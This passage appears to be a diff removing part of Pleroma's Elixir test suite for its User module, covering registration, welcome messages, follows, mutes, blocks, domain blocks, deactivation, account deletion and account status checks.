refute User.following?(registered_user, remote_user) - end - - test "it sends a welcome message if it is set" do - welcome_user = insert(:user) - Pleroma.Config.put([:welcome, :direct_message, :enabled], true) - Pleroma.Config.put([:welcome, :direct_message, :sender_nickname], welcome_user.nickname) - Pleroma.Config.put([:welcome, :direct_message, :message], "Hello, this is a direct message") - - cng = User.register_changeset(%User{}, @full_user_data) - {:ok, registered_user} = User.register(cng) - ObanHelpers.perform_all() - - activity = Repo.one(Pleroma.Activity) - assert registered_user.ap_id in activity.recipients - assert Object.normalize(activity).data["content"] =~ "direct message" - assert activity.actor == welcome_user.ap_id - end - - test "it sends a welcome chat message if it is set" do - welcome_user = insert(:user) - Pleroma.Config.put([:welcome, :chat_message, :enabled], true) - Pleroma.Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) - Pleroma.Config.put([:welcome, :chat_message, :message], "Hello, this is a chat message") - - cng = User.register_changeset(%User{}, @full_user_data) - {:ok, registered_user} = User.register(cng) - ObanHelpers.perform_all() - - activity = Repo.one(Pleroma.Activity) - assert registered_user.ap_id in activity.recipients - assert Object.normalize(activity).data["content"] =~ "chat message" - assert activity.actor == welcome_user.ap_id - end - - setup do: - clear_config(:mrf_simple, - media_removal: [], - media_nsfw: [], - federated_timeline_removal: [], - report_removal: [], - reject: [], - followers_only: [], - accept: [], - avatar_removal: [], - banner_removal: [], - reject_deletes: [] - ) - - setup do: - clear_config(:mrf, - policies: [ - Pleroma.Web.ActivityPub.MRF.SimplePolicy - ] - ) - - test "it sends a welcome chat message when Simple policy applied to local instance" do - Pleroma.Config.put([:mrf_simple, :media_nsfw], ["localhost"]) - - welcome_user = insert(:user) - Pleroma.Config.put([:welcome, :chat_message, :enabled], true) - Pleroma.Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) - Pleroma.Config.put([:welcome, :chat_message, :message], "Hello, this is a chat message") - - cng = User.register_changeset(%User{}, @full_user_data) - {:ok, registered_user} = User.register(cng) - ObanHelpers.perform_all() - - activity = Repo.one(Pleroma.Activity) - assert registered_user.ap_id in activity.recipients - assert Object.normalize(activity).data["content"] =~ "chat message" - assert activity.actor == welcome_user.ap_id - end - - test "it sends a welcome email message if it is set" do - welcome_user = insert(:user) - Pleroma.Config.put([:welcome, :email, :enabled], true) - Pleroma.Config.put([:welcome, :email, :sender], welcome_user.email) - - Pleroma.Config.put( - [:welcome, :email, :subject], - "Hello, welcome to cool site: <%= instance_name %>" - ) - - instance_name = Pleroma.Config.get([:instance, :name]) - - cng = User.register_changeset(%User{}, @full_user_data) - {:ok, registered_user} = User.register(cng) - ObanHelpers.perform_all() - - assert_email_sent( - from: {instance_name, welcome_user.email}, - to: {registered_user.name, registered_user.email}, - subject: "Hello, welcome to cool site: #{instance_name}", - html_body: "Welcome to #{instance_name}" - ) - end - - test "it sends a confirm email" do - Pleroma.Config.put([:instance, :account_activation_required], true) - - cng = User.register_changeset(%User{}, @full_user_data) - {:ok, registered_user} = User.register(cng) - ObanHelpers.perform_all() - - Pleroma.Emails.UserEmail.account_confirmation_email(registered_user) - # temporary hackney fix until hackney max_connections bug is fixed - # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 - |> Swoosh.Email.put_private(:hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) - |> assert_email_sent() - end - - test "it requires an email, name, nickname and password, bio is optional when account_activation_required is enabled" do - Pleroma.Config.put([:instance, :account_activation_required], true) - - @full_user_data - |> Map.keys() - |> Enum.each(fn key -> - params = Map.delete(@full_user_data, key) - changeset = User.register_changeset(%User{}, params) - - assert if key == :bio, do: changeset.valid?, else: not changeset.valid? - end) - end - - test "it requires an name, nickname and password, bio and email are optional when account_activation_required is disabled" do - Pleroma.Config.put([:instance, :account_activation_required], false) - - @full_user_data - |> Map.keys() - |> Enum.each(fn key -> - params = Map.delete(@full_user_data, key) - changeset = User.register_changeset(%User{}, params) - - assert if key in [:bio, :email], do: changeset.valid?, else: not changeset.valid? - end) - end - - test "it restricts certain nicknames" do - [restricted_name | _] = Pleroma.Config.get([User, :restricted_nicknames]) - - assert is_bitstring(restricted_name) - - params = - @full_user_data - |> Map.put(:nickname, restricted_name) - - changeset = User.register_changeset(%User{}, params) - - refute changeset.valid? - end - - test "it blocks blacklisted email domains" do - clear_config([User, :email_blacklist], ["trolling.world"]) - - # Block with match - params = Map.put(@full_user_data, :email, "troll@trolling.world") - changeset = User.register_changeset(%User{}, params) - refute changeset.valid? - - # Block with subdomain match - params = Map.put(@full_user_data, :email, "troll@gnomes.trolling.world") - changeset = User.register_changeset(%User{}, params) - refute changeset.valid? - - # Pass with different domains that are similar - params = Map.put(@full_user_data, :email, "troll@gnomestrolling.world") - changeset = User.register_changeset(%User{}, params) - assert changeset.valid? - - params = Map.put(@full_user_data, :email, "troll@trolling.world.us") - changeset = User.register_changeset(%User{}, params) - assert changeset.valid? - end - - test "it sets the password_hash and ap_id" do - changeset = User.register_changeset(%User{}, @full_user_data) - - assert changeset.valid? - - assert is_binary(changeset.changes[:password_hash]) - assert changeset.changes[:ap_id] == User.ap_id(%User{nickname: @full_user_data.nickname}) - - assert changeset.changes.follower_address == "#{changeset.changes.ap_id}/followers" - end - - test "it sets the 'accepts_chat_messages' set to true" do - changeset = User.register_changeset(%User{}, @full_user_data) - assert changeset.valid? - - {:ok, user} = Repo.insert(changeset) - - assert user.accepts_chat_messages - end - - test "it creates a confirmed user" do - changeset = User.register_changeset(%User{}, @full_user_data) - assert changeset.valid? - - {:ok, user} = Repo.insert(changeset) - - refute user.confirmation_pending - end - end - - describe "user registration, with :account_activation_required" do - @full_user_data %{ - bio: "A guy", - name: "my name", - nickname: "nick", - password: "test", - password_confirmation: "test", - email: "email@example.com" - } - setup do: clear_config([:instance, :account_activation_required], true) - - test "it creates unconfirmed user" do - changeset = User.register_changeset(%User{}, @full_user_data) - assert changeset.valid? - - {:ok, user} = Repo.insert(changeset) - - assert user.confirmation_pending - assert user.confirmation_token - end - - test "it creates confirmed user if :confirmed option is given" do - changeset = User.register_changeset(%User{}, @full_user_data, need_confirmation: false) - assert changeset.valid? - - {:ok, user} = Repo.insert(changeset) - - refute user.confirmation_pending - refute user.confirmation_token - end - end - - describe "user registration, with :account_approval_required" do - @full_user_data %{ - bio: "A guy", - name: "my name", - nickname: "nick", - password: "test", - password_confirmation: "test", - email: "email@example.com", - registration_reason: "I'm a cool guy :)" - } - setup do: clear_config([:instance, :account_approval_required], true) - - test "it creates unapproved user" do - changeset = User.register_changeset(%User{}, @full_user_data) - assert changeset.valid? - - {:ok, user} = Repo.insert(changeset) - - assert user.approval_pending - assert user.registration_reason == "I'm a cool guy :)" - end - - test "it restricts length of registration reason" do - reason_limit = Pleroma.Config.get([:instance, :registration_reason_length]) - - assert is_integer(reason_limit) - - params = - @full_user_data - |> Map.put( - :registration_reason, - "Quia et nesciunt dolores numquam ipsam nisi sapiente soluta. Ullam repudiandae nisi quam porro officiis officiis ad. Consequatur animi velit ex quia. Odit voluptatem perferendis quia ut nisi. Dignissimos sit soluta atque aliquid dolorem ut dolorum ut. Labore voluptates iste iusto amet voluptatum earum. Ad fugit illum nam eos ut nemo. Pariatur ea fuga non aspernatur. Dignissimos debitis officia corporis est nisi ab et. Atque itaque alias eius voluptas minus. Accusamus numquam tempore occaecati in." - ) - - changeset = User.register_changeset(%User{}, params) - - refute changeset.valid? - end - end - - describe "get_or_fetch/1" do - test "gets an existing user by nickname" do - user = insert(:user) - {:ok, fetched_user} = User.get_or_fetch(user.nickname) - - assert user == fetched_user - end - - test "gets an existing user by ap_id" do - ap_id = "http://mastodon.example.org/users/admin" - - user = - insert( - :user, - local: false, - nickname: "admin@mastodon.example.org", - ap_id: ap_id - ) - - {:ok, fetched_user} = User.get_or_fetch(ap_id) - freshed_user = refresh_record(user) - assert freshed_user == fetched_user - end - end - - describe "fetching a user from nickname or trying to build one" do - test "gets an existing user" do - user = insert(:user) - {:ok, fetched_user} = User.get_or_fetch_by_nickname(user.nickname) - - assert user == fetched_user - end - - test "gets an existing user, case insensitive" do - user = insert(:user, nickname: "nick") - {:ok, fetched_user} = User.get_or_fetch_by_nickname("NICK") - - assert user == fetched_user - end - - test "gets an existing user by fully qualified nickname" do - user = insert(:user) - - {:ok, fetched_user} = - User.get_or_fetch_by_nickname(user.nickname <> "@" <> Pleroma.Web.Endpoint.host()) - - assert user == fetched_user - end - - test "gets an existing user by fully qualified nickname, case insensitive" do - user = insert(:user, nickname: "nick") - casing_altered_fqn = String.upcase(user.nickname <> "@" <> Pleroma.Web.Endpoint.host()) - - {:ok, fetched_user} = User.get_or_fetch_by_nickname(casing_altered_fqn) - - assert user == fetched_user - end - - @tag capture_log: true - test "returns nil if no user could be fetched" do - {:error, fetched_user} = User.get_or_fetch_by_nickname("nonexistant@social.heldscal.la") - assert fetched_user == "not found nonexistant@social.heldscal.la" - end - - test "returns nil for nonexistant local user" do - {:error, fetched_user} = User.get_or_fetch_by_nickname("nonexistant") - assert fetched_user == "not found nonexistant" - end - - test "updates an existing user, if stale" do - a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800) - - orig_user = - insert( - :user, - local: false, - nickname: "admin@mastodon.example.org", - ap_id: "http://mastodon.example.org/users/admin", - last_refreshed_at: a_week_ago - ) - - assert orig_user.last_refreshed_at == a_week_ago - - {:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin") - - assert user.inbox - - refute user.last_refreshed_at == orig_user.last_refreshed_at - end - - test "if nicknames clash, the old user gets a prefix with the old id to the nickname" do - a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800) - - orig_user = - insert( - :user, - local: false, - nickname: "admin@mastodon.example.org", - ap_id: "http://mastodon.example.org/users/harinezumigari", - last_refreshed_at: a_week_ago - ) - - assert orig_user.last_refreshed_at == a_week_ago - - {:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin") - - assert user.inbox - - refute user.id == orig_user.id - - orig_user = User.get_by_id(orig_user.id) - - assert orig_user.nickname == "#{orig_user.id}.admin@mastodon.example.org" - end - - @tag capture_log: true - test "it returns the old user if stale, but unfetchable" do - a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800) - - orig_user = - insert( - :user, - local: false, - nickname: "admin@mastodon.example.org", - ap_id: "http://mastodon.example.org/users/raymoo", - last_refreshed_at: a_week_ago - ) - - assert orig_user.last_refreshed_at == a_week_ago - - {:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/raymoo") - - assert user.last_refreshed_at == orig_user.last_refreshed_at - end - end - - test "returns an ap_id for a user" do - user = insert(:user) - - assert User.ap_id(user) == - Pleroma.Web.Router.Helpers.user_feed_url( - Pleroma.Web.Endpoint, - :feed_redirect, - user.nickname - ) - end - - test "returns an ap_followers link for a user" do - user = insert(:user) - - assert User.ap_followers(user) == - Pleroma.Web.Router.Helpers.user_feed_url( - Pleroma.Web.Endpoint, - :feed_redirect, - user.nickname - ) <> "/followers" - end - - describe "remote user changeset" do - @valid_remote %{ - bio: "hello", - name: "Someone", - nickname: "a@b.de", - ap_id: "http...", - avatar: %{some: "avatar"} - } - setup do: clear_config([:instance, :user_bio_length]) - setup do: clear_config([:instance, :user_name_length]) - - test "it confirms validity" do - cs = User.remote_user_changeset(@valid_remote) - assert cs.valid? - end - - test "it sets the follower_adress" do - cs = User.remote_user_changeset(@valid_remote) - # remote users get a fake local follower address - assert cs.changes.follower_address == - User.ap_followers(%User{nickname: @valid_remote[:nickname]}) - end - - test "it enforces the fqn format for nicknames" do - cs = User.remote_user_changeset(%{@valid_remote | nickname: "bla"}) - assert Ecto.Changeset.get_field(cs, :local) == false - assert cs.changes.avatar - refute cs.valid? - end - - test "it has required fields" do - [:ap_id] - |> Enum.each(fn field -> - cs = User.remote_user_changeset(Map.delete(@valid_remote, field)) - refute cs.valid? - end) - end - end - - describe "followers and friends" do - test "gets all followers for a given user" do - user = insert(:user) - follower_one = insert(:user) - follower_two = insert(:user) - not_follower = insert(:user) - - {:ok, follower_one} = User.follow(follower_one, user) - {:ok, follower_two} = User.follow(follower_two, user) - - res = User.get_followers(user) - - assert Enum.member?(res, follower_one) - assert Enum.member?(res, follower_two) - refute Enum.member?(res, not_follower) - end - - test "gets all friends (followed users) for a given user" do - user = insert(:user) - followed_one = insert(:user) - followed_two = insert(:user) - not_followed = insert(:user) - - {:ok, user} = User.follow(user, followed_one) - {:ok, user} = User.follow(user, followed_two) - - res = User.get_friends(user) - - followed_one = User.get_cached_by_ap_id(followed_one.ap_id) - followed_two = User.get_cached_by_ap_id(followed_two.ap_id) - assert Enum.member?(res, followed_one) - assert Enum.member?(res, followed_two) - refute Enum.member?(res, not_followed) - end - end - - describe "updating note and follower count" do - test "it sets the note_count property" do - note = insert(:note) - - user = User.get_cached_by_ap_id(note.data["actor"]) - - assert user.note_count == 0 - - {:ok, user} = User.update_note_count(user) - - assert user.note_count == 1 - end - - test "it increases the note_count property" do - note = insert(:note) - user = User.get_cached_by_ap_id(note.data["actor"]) - - assert user.note_count == 0 - - {:ok, user} = User.increase_note_count(user) - - assert user.note_count == 1 - - {:ok, user} = User.increase_note_count(user) - - assert user.note_count == 2 - end - - test "it decreases the note_count property" do - note = insert(:note) - user = User.get_cached_by_ap_id(note.data["actor"]) - - assert user.note_count == 0 - - {:ok, user} = User.increase_note_count(user) - - assert user.note_count == 1 - - {:ok, user} = User.decrease_note_count(user) - - assert user.note_count == 0 - - {:ok, user} = User.decrease_note_count(user) - - assert user.note_count == 0 - end - - test "it sets the follower_count property" do - user = insert(:user) - follower = insert(:user) - - User.follow(follower, user) - - assert user.follower_count == 0 - - {:ok, user} = User.update_follower_count(user) - - assert user.follower_count == 1 - end - end - - describe "mutes" do - test "it mutes people" do - user = insert(:user) - muted_user = insert(:user) - - refute User.mutes?(user, muted_user) - refute User.muted_notifications?(user, muted_user) - - {:ok, _user_relationships} = User.mute(user, muted_user) - - assert User.mutes?(user, muted_user) - assert User.muted_notifications?(user, muted_user) - end - - test "it unmutes users" do - user = insert(:user) - muted_user = insert(:user) - - {:ok, _user_relationships} = User.mute(user, muted_user) - {:ok, _user_mute} = User.unmute(user, muted_user) - - refute User.mutes?(user, muted_user) - refute User.muted_notifications?(user, muted_user) - end - - test "it mutes user without notifications" do - user = insert(:user) - muted_user = insert(:user) - - refute User.mutes?(user, muted_user) - refute User.muted_notifications?(user, muted_user) - - {:ok, _user_relationships} = User.mute(user, muted_user, false) - - assert User.mutes?(user, muted_user) - refute User.muted_notifications?(user, muted_user) - end - end - - describe "blocks" do - test "it blocks people" do - user = insert(:user) - blocked_user = insert(:user) - - refute User.blocks?(user, blocked_user) - - {:ok, _user_relationship} = User.block(user, blocked_user) - - assert User.blocks?(user, blocked_user) - end - - test "it unblocks users" do - user = insert(:user) - blocked_user = insert(:user) - - {:ok, _user_relationship} = User.block(user, blocked_user) - {:ok, _user_block} = User.unblock(user, blocked_user) - - refute User.blocks?(user, blocked_user) - end - - test "blocks tear down cyclical follow relationships" do - blocker = insert(:user) - blocked = insert(:user) - - {:ok, blocker} = User.follow(blocker, blocked) - {:ok, blocked} = User.follow(blocked, blocker) - - assert User.following?(blocker, blocked) - assert User.following?(blocked, blocker) - - {:ok, _user_relationship} = User.block(blocker, blocked) - blocked = User.get_cached_by_id(blocked.id) - - assert User.blocks?(blocker, blocked) - - refute User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - end - - test "blocks tear down blocker->blocked follow relationships" do - blocker = insert(:user) - blocked = insert(:user) - - {:ok, blocker} = User.follow(blocker, blocked) - - assert User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - - {:ok, _user_relationship} = User.block(blocker, blocked) - blocked = User.get_cached_by_id(blocked.id) - - assert User.blocks?(blocker, blocked) - - refute User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - end - - test "blocks tear down blocked->blocker follow relationships" do - blocker = insert(:user) - blocked = insert(:user) - - {:ok, blocked} = User.follow(blocked, blocker) - - refute User.following?(blocker, blocked) - assert User.following?(blocked, blocker) - - {:ok, _user_relationship} = User.block(blocker, blocked) - blocked = User.get_cached_by_id(blocked.id) - - assert User.blocks?(blocker, blocked) - - refute User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - end - - test "blocks tear down blocked->blocker subscription relationships" do - blocker = insert(:user) - blocked = insert(:user) - - {:ok, _subscription} = User.subscribe(blocked, blocker) - - assert User.subscribed_to?(blocked, blocker) - refute User.subscribed_to?(blocker, blocked) - - {:ok, _user_relationship} = User.block(blocker, blocked) - - assert User.blocks?(blocker, blocked) - refute User.subscribed_to?(blocker, blocked) - refute User.subscribed_to?(blocked, blocker) - end - end - - describe "domain blocking" do - test "blocks domains" do - user = insert(:user) - collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"}) - - {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com") - - assert User.blocks?(user, collateral_user) - end - - test "does not block domain with same end" do - user = insert(:user) - - collateral_user = - insert(:user, %{ap_id: "https://another-awful-and-rude-instance.com/user/bully"}) - - {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com") - - refute User.blocks?(user, collateral_user) - end - - test "does not block domain with same end if wildcard added" do - user = insert(:user) - - collateral_user = - insert(:user, %{ap_id: "https://another-awful-and-rude-instance.com/user/bully"}) - - {:ok, user} = User.block_domain(user, "*.awful-and-rude-instance.com") - - refute User.blocks?(user, collateral_user) - end - - test "blocks domain with wildcard for subdomain" do - user = insert(:user) - - user_from_subdomain = - insert(:user, %{ap_id: "https://subdomain.awful-and-rude-instance.com/user/bully"}) - - user_with_two_subdomains = - insert(:user, %{ - ap_id: "https://subdomain.second_subdomain.awful-and-rude-instance.com/user/bully" - }) - - user_domain = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"}) - - {:ok, user} = User.block_domain(user, "*.awful-and-rude-instance.com") - - assert User.blocks?(user, user_from_subdomain) - assert User.blocks?(user, user_with_two_subdomains) - assert User.blocks?(user, user_domain) - end - - test "unblocks domains" do - user = insert(:user) - collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"}) - - {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com") - {:ok, user} = User.unblock_domain(user, "awful-and-rude-instance.com") - - refute User.blocks?(user, collateral_user) - end - - test "follows take precedence over domain blocks" do - user = insert(:user) - good_eggo = insert(:user, %{ap_id: "https://meanies.social/user/cuteposter"}) - - {:ok, user} = User.block_domain(user, "meanies.social") - {:ok, user} = User.follow(user, good_eggo) - - refute User.blocks?(user, good_eggo) - end - end - - describe "get_recipients_from_activity" do - test "works for announces" do - actor = insert(:user) - user = insert(:user, local: true) - - {:ok, activity} = CommonAPI.post(actor, %{status: "hello"}) - {:ok, announce} = CommonAPI.repeat(activity.id, user) - - recipients = User.get_recipients_from_activity(announce) - - assert user in recipients - end - - test "get recipients" do - actor = insert(:user) - user = insert(:user, local: true) - user_two = insert(:user, local: false) - addressed = insert(:user, local: true) - addressed_remote = insert(:user, local: false) - - {:ok, activity} = - CommonAPI.post(actor, %{ - status: "hey @#{addressed.nickname} @#{addressed_remote.nickname}" - }) - - assert Enum.map([actor, addressed], & &1.ap_id) -- - Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == [] - - {:ok, user} = User.follow(user, actor) - {:ok, _user_two} = User.follow(user_two, actor) - recipients = User.get_recipients_from_activity(activity) - assert length(recipients) == 3 - assert user in recipients - assert addressed in recipients - end - - test "has following" do - actor = insert(:user) - user = insert(:user) - user_two = insert(:user) - addressed = insert(:user, local: true) - - {:ok, activity} = - CommonAPI.post(actor, %{ - status: "hey @#{addressed.nickname}" - }) - - assert Enum.map([actor, addressed], & &1.ap_id) -- - Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == [] - - {:ok, _actor} = User.follow(actor, user) - {:ok, _actor} = User.follow(actor, user_two) - recipients = User.get_recipients_from_activity(activity) - assert length(recipients) == 2 - assert addressed in recipients - end - end - - describe ".deactivate" do - test "can de-activate then re-activate a user" do - user = insert(:user) - assert false == user.deactivated - {:ok, user} = User.deactivate(user) - assert true == user.deactivated - {:ok, user} = User.deactivate(user, false) - assert false == user.deactivated - end - - test "hide a user from followers" do - user = insert(:user) - user2 = insert(:user) - - {:ok, user} = User.follow(user, user2) - {:ok, _user} = User.deactivate(user) - - user2 = User.get_cached_by_id(user2.id) - - assert user2.follower_count == 0 - assert [] = User.get_followers(user2) - end - - test "hide a user from friends" do - user = insert(:user) - user2 = insert(:user) - - {:ok, user2} = User.follow(user2, user) - assert user2.following_count == 1 - assert User.following_count(user2) == 1 - - {:ok, _user} = User.deactivate(user) - - user2 = User.get_cached_by_id(user2.id) - - assert refresh_record(user2).following_count == 0 - assert user2.following_count == 0 - assert User.following_count(user2) == 0 - assert [] = User.get_friends(user2) - end - - test "hide a user's statuses from timelines and notifications" do - user = insert(:user) - user2 = insert(:user) - - {:ok, user2} = User.follow(user2, user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{user2.nickname}"}) - - activity = Repo.preload(activity, :bookmark) - - [notification] = Pleroma.Notification.for_user(user2) - assert notification.activity.id == activity.id - - assert [activity] == ActivityPub.fetch_public_activities(%{}) |> Repo.preload(:bookmark) - - assert [%{activity | thread_muted?: CommonAPI.thread_muted?(user2, activity)}] == - ActivityPub.fetch_activities([user2.ap_id | User.following(user2)], %{ - user: user2 - }) - - {:ok, _user} = User.deactivate(user) - - assert [] == ActivityPub.fetch_public_activities(%{}) - assert [] == Pleroma.Notification.for_user(user2) - - assert [] == - ActivityPub.fetch_activities([user2.ap_id | User.following(user2)], %{ - user: user2 - }) - end - end - - describe "approve" do - test "approves a user" do - user = insert(:user, approval_pending: true) - assert true == user.approval_pending - {:ok, user} = User.approve(user) - assert false == user.approval_pending - end - - test "approves a list of users" do - unapproved_users = [ - insert(:user, approval_pending: true), - insert(:user, approval_pending: true), - insert(:user, approval_pending: true) - ] - - {:ok, users} = User.approve(unapproved_users) - - assert Enum.count(users) == 3 - - Enum.each(users, fn user -> - assert false == user.approval_pending - end) - end - end - - describe "delete" do - setup do - {:ok, user} = insert(:user) |> User.set_cache() - - [user: user] - end - - setup do: clear_config([:instance, :federating]) - - test ".delete_user_activities deletes all create activities", %{user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "2hu"}) - - User.delete_user_activities(user) - - # TODO: Test removal favorites, repeats, delete activities. - refute Activity.get_by_id(activity.id) - end - - test "it deactivates a user, all follow relationships and all activities", %{user: user} do - follower = insert(:user) - {:ok, follower} = User.follow(follower, user) - - locked_user = insert(:user, name: "locked", locked: true) - {:ok, _} = User.follow(user, locked_user, :follow_pending) - - object = insert(:note, user: user) - activity = insert(:note_activity, user: user, note: object) - - object_two = insert(:note, user: follower) - activity_two = insert(:note_activity, user: follower, note: object_two) - - {:ok, like} = CommonAPI.favorite(user, activity_two.id) - {:ok, like_two} = CommonAPI.favorite(follower, activity.id) - {:ok, repeat} = CommonAPI.repeat(activity_two.id, user) - - {:ok, job} = User.delete(user) - {:ok, _user} = ObanHelpers.perform(job) - - follower = User.get_cached_by_id(follower.id) - - refute User.following?(follower, user) - assert %{deactivated: true} = User.get_by_id(user.id) - - assert [] == User.get_follow_requests(locked_user) - - user_activities = - user.ap_id - |> Activity.Queries.by_actor() - |> Repo.all() - |> Enum.map(fn act -> act.data["type"] end) - - assert Enum.all?(user_activities, fn act -> act in ~w(Delete Undo) end) - - refute Activity.get_by_id(activity.id) - refute Activity.get_by_id(like.id) - refute Activity.get_by_id(like_two.id) - refute Activity.get_by_id(repeat.id) - end - end - - describe "delete/1 when confirmation is pending" do - setup do - user = insert(:user, confirmation_pending: true) - {:ok, user: user} - end - - test "deletes user from database when activation required", %{user: user} do - clear_config([:instance, :account_activation_required], true) - - {:ok, job} = User.delete(user) - {:ok, _} = ObanHelpers.perform(job) - - refute User.get_cached_by_id(user.id) - refute User.get_by_id(user.id) - end - - test "deactivates user when activation is not required", %{user: user} do - clear_config([:instance, :account_activation_required], false) - - {:ok, job} = User.delete(user) - {:ok, _} = ObanHelpers.perform(job) - - assert %{deactivated: true} = User.get_cached_by_id(user.id) - assert %{deactivated: true} = User.get_by_id(user.id) - end - end - - test "delete/1 when approval is pending deletes the user" do - user = insert(:user, approval_pending: true) - - {:ok, job} = User.delete(user) - {:ok, _} = ObanHelpers.perform(job) - - refute User.get_cached_by_id(user.id) - refute User.get_by_id(user.id) - end - - test "delete/1 purges a user when they wouldn't be fully deleted" do - user = - insert(:user, %{ - bio: "eyy lmao", - name: "qqqqqqq", - password_hash: "pdfk2$1b3n159001", - keys: "RSA begin buplic key", - public_key: "--PRIVATE KEYE--", - avatar: %{"a" => "b"}, - tags: ["qqqqq"], - banner: %{"a" => "b"}, - background: %{"a" => "b"}, - note_count: 9, - follower_count: 9, - following_count: 9001, - locked: true, - confirmation_pending: true, - password_reset_pending: true, - approval_pending: true, - registration_reason: "ahhhhh", - confirmation_token: "qqqq", - domain_blocks: ["lain.com"], - deactivated: true, - ap_enabled: true, - is_moderator: true, - is_admin: true, - mastofe_settings: %{"a" => "b"}, - mascot: %{"a" => "b"}, - emoji: %{"a" => "b"}, - pleroma_settings_store: %{"q" => "x"}, - fields: [%{"gg" => "qq"}], - raw_fields: [%{"gg" => "qq"}], - discoverable: true, - also_known_as: ["https://lol.olo/users/loll"] - }) - - {:ok, job} = User.delete(user) - {:ok, _} = ObanHelpers.perform(job) - user = User.get_by_id(user.id) - - assert %User{ - bio: "", - raw_bio: nil, - email: nil, - name: nil, - password_hash: nil, - keys: nil, - public_key: nil, - avatar: %{}, - tags: [], - last_refreshed_at: nil, - last_digest_emailed_at: nil, - banner: %{}, - background: %{}, - note_count: 0, - follower_count: 0, - following_count: 0, - locked: false, - confirmation_pending: false, - password_reset_pending: false, - approval_pending: false, - registration_reason: nil, - confirmation_token: nil, - domain_blocks: [], - deactivated: true, - ap_enabled: false, - is_moderator: false, - is_admin: false, - mastofe_settings: nil, - mascot: nil, - emoji: %{}, - pleroma_settings_store: %{}, - fields: [], - raw_fields: [], - discoverable: false, - also_known_as: [] - } = user - end - - test "get_public_key_for_ap_id fetches a user that's not in the db" do - assert {:ok, _key} = User.get_public_key_for_ap_id("http://mastodon.example.org/users/admin") - end - - describe "per-user rich-text filtering" do - test "html_filter_policy returns default policies, when rich-text is enabled" do - user = insert(:user) - - assert Pleroma.Config.get([:markup, :scrub_policy]) == User.html_filter_policy(user) - end - - test "html_filter_policy returns TwitterText scrubber when rich-text is disabled" do - user = insert(:user, no_rich_text: true) - - assert Pleroma.HTML.Scrubber.TwitterText == User.html_filter_policy(user) - end - end - - describe "caching" do - test "invalidate_cache works" do - user = insert(:user) - - User.set_cache(user) - User.invalidate_cache(user) - - {:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") - {:ok, nil} = Cachex.get(:user_cache, "nickname:#{user.nickname}") - end - - test "User.delete() plugs any possible zombie objects" do - user = insert(:user) - - {:ok, job} = User.delete(user) - {:ok, _} = ObanHelpers.perform(job) - - {:ok, cached_user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") - - assert cached_user != user - - {:ok, cached_user} = Cachex.get(:user_cache, "nickname:#{user.ap_id}") - - assert cached_user != user - end - end - - describe "account_status/1" do - setup do: clear_config([:instance, :account_activation_required]) - - test "return confirmation_pending for unconfirm user" do - Pleroma.Config.put([:instance, :account_activation_required], true) - user = insert(:user, confirmation_pending: true) - assert User.account_status(user) == :confirmation_pending - end - - test "return active for confirmed user" do - Pleroma.Config.put([:instance, :account_activation_required], true) - user = insert(:user, confirmation_pending: false) - assert User.account_status(user) == :active - end - - test "return active for remote user" do - user = insert(:user, local: false) - assert User.account_status(user) == :active - end - - test "returns :password_reset_pending for user with reset password" do - user = insert(:user, password_reset_pending: true) - assert User.account_status(user) == :password_reset_pending - end - - test "returns :deactivated for deactivated user" do - user = insert(:user, local: true, confirmation_pending: false, deactivated: true) - assert User.account_status(user) == :deactivated - end - - test "returns :approval_pending for unapproved user" do - user = insert(:user, local: true, approval_pending: true) - assert User.account_status(user) == :approval_pending - - user = insert(:user, local: true, confirmation_pending: true, approval_pending: true) - assert User.account_status(user) == :approval_pending - end - end - - describe "superuser?/1" do - test "returns false for unprivileged users" do - user = insert(:user, local: true) - - refute User.superuser?(user) - end - - test "returns false for remote users" do - user = insert(:user, local: false) - remote_admin_user = insert(:user, local: false, is_admin: true) - - refute User.superuser?(user) - refute User.superuser?(remote_admin_user) - end - - test "returns true for local moderators" do - user = insert(:user, local: true, is_moderator: true) - - assert User.superuser?(user) - end - - test "returns true for local admins" do - user = insert(:user, local: true, is_admin: true) - - assert User.superuser?(user) - end - end - - describe "invisible?/1" do - test "returns true for an invisible user" do - user = insert(:user, local: true, invisible: true) - - assert User.invisible?(user) - end - - test "returns false for a non-invisible user" do - user = insert(:user, local: true) - - refute User.invisible?(user) - end - end - - describe "visible_for/2" do - test "returns true when the account is itself" do - user = insert(:user, local: true) - - assert User.visible_for(user, user) == :visible - end - - test "returns false when the account is unconfirmed and confirmation is required" do - Pleroma.Config.put([:instance, :account_activation_required], true) - - user = insert(:user, local: true, confirmation_pending: true) - other_user = insert(:user, local: true) - - refute User.visible_for(user, other_user) == :visible - end - - test "returns true when the account is unconfirmed and confirmation is required but the account is remote" do - Pleroma.Config.put([:instance, :account_activation_required], true) - - user = insert(:user, local: false, confirmation_pending: true) - other_user = insert(:user, local: true) - - assert User.visible_for(user, other_user) == :visible - end - - test "returns true when the account is unconfirmed and confirmation is not required" do - user = insert(:user, local: true, confirmation_pending: true) - other_user = insert(:user, local: true) - - assert User.visible_for(user, other_user) == :visible - end - - test "returns true when the account is unconfirmed and being viewed by a privileged 